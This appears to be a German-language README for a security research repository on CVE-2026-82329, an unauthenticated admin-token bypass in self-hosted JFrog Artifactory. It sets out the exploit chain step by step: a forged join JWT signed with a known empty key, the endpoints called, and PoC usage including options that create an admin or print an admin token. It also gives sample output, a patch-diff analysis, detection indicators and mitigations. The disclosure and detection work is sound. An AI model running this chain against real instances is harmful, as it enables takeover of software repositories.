Reproduzierbares Docker-Labor und Python-PoC für CVE-2026-82329, eine nicht authentifizierte Authentifizierungsumgehung in JFrog Artifactory, die zur Übernahme des Administratorkontos führt, mit Patch-Diff-Analyse und Erkennungsanleitung.
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · offengelegt am 28.08.2026 · in freier Wildbahn ausgenutzt.
Ein nicht authentifizierter, netzwerkerreichbarer Angreifer erzeugt ein Plattform-Administrator-Zugriffstoken gegen eine standardmäßig selbst gehostete JFrog Artifactory. Dieses Verzeichnis enthält ein reproduzierbares Docker- Labor und einen URL-parametrisierten Validator-PoC.
Reproduziert und A/B-verifiziert auf artifactory-oss 7.161.19 (verwundbar, JFrog Access 7.191.11)
vs. 7.161.20 (gepatcht, JFrog Access 7.191.14).
Die Grundursache wurde aus dem Vendor-Patch selbst abgeleitet (Bytecode-Diff des Closed-Source- JFrog-Access-Dienstes zwischen den beiden Container-Images) und dann live nachgewiesen — nicht aus einem Drittanbieter-Bericht übernommen.
getSigningKey("") = pkcs7(<empty>, 32) = — ein vollständig
bekanntes Geheimnis. Jeder kann also ein gültiges Join-JWT signieren (, , frisches ,
beliebige , ).0x20alg=HS256kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — keine Authentifizierung) →
HTTP 201, liefert ein SERVICE-Token mit Scope admin (Audience = Access).POST /access/api/v1/tokens mit diesem Token, scope=applied-permissions/admin&audience=*
→ ein vollwertiges Admin-Plattform-Zugriffstoken (dies ist das in freier Wildbahn gemeldete
„Minting von Admin-Tokens"-Verhalten).$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Schritt 1 /registry/join -> HTTP 201 SERVICE-Token erstellt (scp=admin)
[+] Schritt 2 /access/api/v1/tokens -> HTTP 200 ADMIN-Token (scp=applied-permissions/admin, aud=*)
[+] Schritt 3 Nachweis der Admin-Fähigkeit:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 Bytes, nur Admin; ohne Auth=401)
GET /access/api/v1/tokens (ALLE Tokens auflisten) -> HTTP 200 (nur Admin)
[=] VERWUNDBAR - nicht authentifizierter Angreifer erhielt ADMIN auf dieser Instanz (CVE-2026-82329).
JFrog Access 7.191.11 → 7.191.14 änderte genau 12 Klassen. Die sicherheitsrelevanten:
JoinKeyAccess.tryResolveJoinKeys()// VERWUNDBAR (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" erlaubt
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // leerer Key zum vertrauenswürdigen Satz hinzugefügt
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// GEPATCHT (7.191.14) -> leere Einträge herausgefiltert
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
Ohne konfigurierte zusätzliche Join-Keys (die Standardeinstellung) ist der Konfigurationswert "";
"".split(",") ergibt [""], sodass ein leeres JoinKeyHashPair (kid = SHA256("") =
e3b0c442…b855) in die vertrauenswürdige „zusätzliche Join-Keys"-Map gelangt. JoinKeyHashPair wurde
außerdem gehärtet, um null/leer im Konstruktor abzulehnen.
Bestätigt auf der Live-Standardinstanz — Server-Startprotokoll:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
Dieses kid ist exakt SHA256("").
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// pkcs7-Padding eines LEEREN Keys: padLength = 32 -> 32 Bytes, jeweils == (byte)32 == 0x20
Das Join-JWT für den leeren Key wird also mit HS256 über 32 Bytes 0x20 signiert — dem Angreifer bekannt.
RegistryNoAuthResource (@Path("/v1/registry"), ohne @Authorized):
@POST @Path("join")
public Response join(String jwtStr) { // body = das rohe JWT
JwtToken token = this.joinService.join(jwtStr, ...); // validiert: frisches iat (<30s) + Join-Key-Signatur
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
Ein nicht ablaufendes, Admin-bezogenes, RSA-signiertes Zugriffstoken. Das scope("admin")-Service-Token
darf dann über POST /access/api/v1/tokens ein vollwertiges applied-permissions/admin-Benutzertoken erstellen.
ProjectResourceZwei Endpunkte wurden von @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) geändert
(GET/DELETE {projectKey}/resources), was bestätigt, dass die Exploit-Primitive eine gefälschte SERVICE-
Identität ist und dass die SERVICE-autorisierte Oberfläche übermäßig exponiert war.
Nur selbst gehostet (Cloud bereits gepatcht). Verwundbar ≤ der letzten Version in jedem Zweig unten; auf den gepaarten Fix aktualisieren:
| Zweig | Verwundbar ≤ | Behoben |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
Der Fix wird mit JFrog Access 7.191.14 ausgeliefert.
Siehe lab/README.md. Kurzfassung:
cd lab
ART_VER=7.161.19 docker compose up -d # verwundbar (Standard); ~3-4 Min. warten
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VERWUNDBAR
docker compose down
ART_VER=7.161.20 docker compose up -d # gepatchte Kontrolle
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NICHT VERWUNDBAR (join HTTP 400)
Artifactory 7.161.x erfordert PostgreSQL (der Access-Dienst verweigert das gebündelte Derby), daher enthält das Labor einen Postgres-Sidecar.
python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # Pro/Ent-Zustandsänderung
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # ein Admin-Token ausgeben
Richten Sie es auf alles, was den JFrog Router frontend (/access/… erreichbar). Es meldet VERWUNDBAR
(Admin erhalten) oder NICHT VERWUNDBAR (Join abgelehnt). Nur gegen Systeme ausführen, für die Sie
autorisiert sind.
POST /access/api/v1/registry/join von Nicht-Cluster-Hosts, insbesondere
unmittelbar gefolgt von POST /access/api/v1/tokens.Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
bedeutet, dass der leere Join-Key vertraut wird (bei ungepatchten Standardinstallationen vorhanden).scope=applied-permissions/admin,
audience=*, oder Service-Subject-Admin-Tokens (sub=<svc>, scp=admin, aud=<access-id>).kid-Anspruch gleich SHA256("") ist (e3b0c442…b855).Auf die behobene Version für Ihren Zweig aktualisieren (Tabelle oben). Zusätzlich: Artifactory hinter einem
Reverse-Proxy betreiben, der /access/api/v1/registry/** nicht für nicht vertrauenswürdige Netzwerke exponiert,
und nach dem Patchen den Join-Key rotieren + unerwartete Admin-Tokens widerrufen.
Artefakte in diesem Verzeichnis: poc/ (Validator), lab/ (Docker-Labor), analysis/ (Patch-Diffs +
dekompilierte Beweise), EVIDENCE.md (erfasste Laufausgabe). Nur für autorisierte Sicherheitsforschung.